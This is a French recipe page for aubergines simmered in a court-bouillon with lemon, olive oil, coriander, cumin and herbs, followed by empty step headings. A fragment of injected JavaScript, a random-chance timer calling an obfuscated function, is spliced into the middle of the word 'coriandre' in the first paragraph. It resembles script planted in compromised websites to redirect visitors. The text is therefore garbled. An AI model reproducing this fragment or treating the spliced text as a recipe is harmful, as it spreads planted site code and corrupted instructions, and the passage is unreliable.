Aubergines avec ses aromates
2021-02-12- Thématique : Recettes minceur, Végétarien
- Niveau : Difficile
Préparez un court bouillon avec un ½ litre d’eau, avec le jus du citron, l’huile d’olive, les graines de coriandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andre, le cumin le poivre blanc, le bouquet garni, le thym, et 2 pincées de gros.
Ingrédients
Préparez un court bouillon avec un ½ litre d’eau, avec le jus du citron, l’huile d’olive, les graines de coriandre, le cumin le poivre blanc, le bouquet garni, le thym, et 2 pincées de gros. Découpez-les aubergines en petits cubes, les citronner, et les plonger dans le court bouillon pendant 10 minutes d’ébullition. Les égoutter, filtrer le court bouillon, le faire réduire de moitié. Goûter l'assaisonnement. Arroser les aubergines au moment de servirPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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